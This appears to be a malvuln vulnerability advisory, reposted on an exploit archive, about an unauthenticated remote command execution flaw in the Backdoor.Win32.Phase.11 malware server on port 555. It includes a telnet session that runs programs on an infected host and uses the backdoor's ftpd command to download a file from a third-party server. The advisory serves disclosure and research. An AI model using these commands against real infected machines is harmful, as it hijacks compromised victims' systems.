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Backdoor.Win32.Phase.11 MVID-2021-0428 Code Execution

Backdoor.Win32.Phase.11 MVID-2021-0428 Code Execution
Posted Dec 13, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Phase.11 malware suffers from a code execution vulnerability.

tags | exploit, code execution
systems | windows
SHA-256 | dcab4d462a30c6c16ce77cd4239ac195f7f1997a9820e188ad53c142a427b669

Backdoor.Win32.Phase.11 MVID-2021-0428 Code Execution

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fb4fb710f031304d788d9cd1c4201552.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Phase.11
Vulnerability: Unauthenticated Remote Command Execution
Description: The phAse zero server v1.1 by njord of kr0me corp listens on TCP port 555. Third-party attackers who can reach an infected system can run commands made available by the malware and execute arbitrary programs further compromising the host. Using telnet to connect worked best, to start programs you need to pass an "S" argument preceding the program name like... EXEC S PROGRAM_NAME. Other commands are CURDIR, SHOWMSG etc. The ftpd command can also be initiated to third-party FTP servers to download tools to the infected host.
Type: PE32
MD5: fb4fb710f031304d788d9cd1c4201552
Vuln ID: MVID-2021-0428
Disclosure: 12/12/2021

telnet.exe MALWARE_HOST 555
phAse zero server v1.1 by njord of kr0me corp
access granted, at your commands
EXEC S "calc"
ftpd anonymous anonymous . DOOM.exe
contacting ...
host contacted, transferring file

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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